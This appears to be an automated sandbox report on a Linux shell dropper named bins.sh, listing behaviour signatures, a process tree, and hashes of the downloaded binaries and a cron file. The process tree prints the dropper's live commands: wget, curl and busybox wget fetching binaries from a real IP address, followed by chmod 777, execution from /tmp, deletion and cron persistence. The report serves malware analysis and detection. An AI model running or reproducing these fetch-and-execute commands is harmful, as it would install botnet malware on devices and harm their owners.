Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/11/2024, 18:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241111-xcbmfstejj
  • SHA256 67193aa28c7c84a45ec76ef3ba36fca67c9a20da7a741cfb423f792d1153e455
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1532) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 31 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:701
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Writes file to tmp directory
          PID:709
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • File and Directory Permissions Modification
          PID:732
        • /tmp/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          ./Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Executes dropped EXE
          PID:733
        • /bin/rm
          rm Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
            PID:735
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Writes file to tmp directory
            PID:736
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Writes file to tmp directory
            PID:737
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/chmod
            chmod 777 ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • File and Directory Permissions Modification
            PID:739
          • /tmp/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            ./ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Executes dropped EXE
            PID:740
          • /bin/rm
            rm ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
              PID:742
            • /usr/bin/wget
              wget http://216.126.231.240/bins/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Writes file to tmp directory
              PID:743
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Writes file to tmp directory
              PID:746
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Writes file to tmp directory
              PID:759
            • /bin/chmod
              chmod 777 N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • File and Directory Permissions Modification
              PID:766
            • /tmp/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              ./N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Executes dropped EXE
              PID:767
            • /bin/rm
              rm N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
                PID:771
              • /usr/bin/wget
                wget http://216.126.231.240/bins/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Writes file to tmp directory
                PID:783
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Writes file to tmp directory
                PID:797
              • /bin/chmod
                chmod 777 qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • File and Directory Permissions Modification
                PID:798
              • /tmp/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                ./qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Executes dropped EXE
                PID:799
              • /bin/rm
                rm qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                  PID:801
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • Writes file to tmp directory
                  PID:802
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • Writes file to tmp directory
                  PID:804
                • /bin/chmod
                  chmod 777 PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • File and Directory Permissions Modification
                  PID:805
                • /tmp/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  ./PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • Executes dropped EXE
                  PID:806
                • /bin/rm
                  rm PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                    PID:808
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • Writes file to tmp directory
                    PID:809
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • Writes file to tmp directory
                    PID:814
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • Writes file to tmp directory
                    PID:828
                  • /bin/chmod
                    chmod 777 oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • File and Directory Permissions Modification
                    PID:834
                  • /tmp/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    ./oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • Executes dropped EXE
                    PID:836
                  • /bin/rm
                    rm oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                      PID:839
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • Writes file to tmp directory
                      PID:840
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • Writes file to tmp directory
                      PID:850
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • Writes file to tmp directory
                      PID:851
                    • /bin/chmod
                      chmod 777 GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:852
                    • /tmp/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      ./GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • Executes dropped EXE
                      PID:853
                    • /bin/rm
                      rm GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                        PID:855
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                        2⤵
                        • Writes file to tmp directory
                        PID:856
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                        2⤵
                        • Writes file to tmp directory
                        PID:857
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                        2⤵
                        • Writes file to tmp directory
                        PID:858
                      • /bin/chmod
                        chmod 777 1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                        2⤵
                        • File and Directory Permissions Modification
                        PID:859
                      • /tmp/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                        ./1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                        2⤵
                        • Executes dropped EXE
                        PID:860
                      • /bin/rm
                        rm 1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                        2⤵
                          PID:862
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI
                          2⤵
                          • Writes file to tmp directory
                          PID:863
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI
                          2⤵
                          • Writes file to tmp directory
                          PID:864
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI
                          2⤵
                          • Writes file to tmp directory
                          PID:865
                        • /bin/chmod
                          chmod 777 zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI
                          2⤵
                          • File and Directory Permissions Modification
                          PID:866
                        • /tmp/zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI
                          ./zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI
                          2⤵
                          • Executes dropped EXE
                          PID:867
                        • /bin/rm
                          rm zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI
                          2⤵
                            PID:869
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/XlzkPVM2lfaZJalSlIB1nfOBmC5xA1AnVG
                            2⤵
                            • Writes file to tmp directory
                            PID:870
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/XlzkPVM2lfaZJalSlIB1nfOBmC5xA1AnVG
                            2⤵
                            • Writes file to tmp directory
                            PID:871
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/XlzkPVM2lfaZJalSlIB1nfOBmC5xA1AnVG
                            2⤵
                            • Writes file to tmp directory
                            PID:872
                          • /bin/chmod
                            chmod 777 XlzkPVM2lfaZJalSlIB1nfOBmC5xA1AnVG
                            2⤵
                            • File and Directory Permissions Modification
                            PID:873
                          • /tmp/XlzkPVM2lfaZJalSlIB1nfOBmC5xA1AnVG
                            ./XlzkPVM2lfaZJalSlIB1nfOBmC5xA1AnVG
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:874
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:876
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:877
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:878
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:879
                                • /bin/rm
                                  rm XlzkPVM2lfaZJalSlIB1nfOBmC5xA1AnVG
                                  2⤵
                                    PID:881
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/r4LV7yfaQhLzECTogJDTFpNxBzxRCe12QV
                                    2⤵
                                      PID:884
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/r4LV7yfaQhLzECTogJDTFpNxBzxRCe12QV
                                      2⤵
                                        PID:930
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/r4LV7yfaQhLzECTogJDTFpNxBzxRCe12QV
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:966
                                      • /bin/chmod
                                        chmod 777 r4LV7yfaQhLzECTogJDTFpNxBzxRCe12QV
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:971
                                      • /tmp/r4LV7yfaQhLzECTogJDTFpNxBzxRCe12QV
                                        ./r4LV7yfaQhLzECTogJDTFpNxBzxRCe12QV
                                        2⤵
                                        • Executes dropped EXE
                                        PID:972
                                      • /bin/rm
                                        rm r4LV7yfaQhLzECTogJDTFpNxBzxRCe12QV
                                        2⤵
                                          PID:974
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/xDbPhYZcGWH77SzEtnrmPqbUbARjTW7FNU
                                          2⤵
                                            PID:975

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL

                                              • Path /tmp/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                                              • Size 111KB
                                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                              • MD5 SHA1 SHA512 SSDEEP

                                              GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb

                                              • Path /tmp/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                                              • Size 151KB
                                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                              • MD5 SHA1 SHA512 SSDEEP

                                              N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA

                                              • Path /tmp/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
                                              • Size 98KB
                                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN

                                              • Path /tmp/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                                              • Size 141KB
                                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                              • MD5 SHA1 SHA512 SSDEEP

                                              XlzkPVM2lfaZJalSlIB1nfOBmC5xA1AnVG

                                              • Path /tmp/XlzkPVM2lfaZJalSlIB1nfOBmC5xA1AnVG
                                              • Size 151KB
                                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                              • MD5 SHA1 SHA512 SSDEEP

                                              Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB

                                              • Path /tmp/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
                                              • Size 107KB
                                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                              • MD5 SHA1 SHA512 SSDEEP

                                              ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2

                                              • Path /tmp/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
                                              • Size 117KB
                                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                              • MD5 SHA1 SHA512 SSDEEP

                                              oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0

                                              • Path /tmp/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                                              • Size 119KB
                                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                              • MD5 SHA1 SHA512 SSDEEP

                                              qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl

                                              • Path /tmp/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                                              • Size 177KB
                                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                              • MD5 SHA1 SHA512 SSDEEP

                                              r4LV7yfaQhLzECTogJDTFpNxBzxRCe12QV

                                              • Path /tmp/r4LV7yfaQhLzECTogJDTFpNxBzxRCe12QV
                                              • Size 99KB
                                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                              • MD5 SHA1 SHA512 SSDEEP

                                              zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI

                                              • Path /tmp/zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI
                                              • Size 112KB
                                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.qFgIgS

                                              • Path /var/spool/cron/crontabs/tmp.qFgIgS
                                              • Size 210B
                                              • SHA256 ec2184dade9a975f229750f7585d1d4c165d5b3fb4de7322c4dede2e352f246f
                                              • MD5 SHA1 SHA512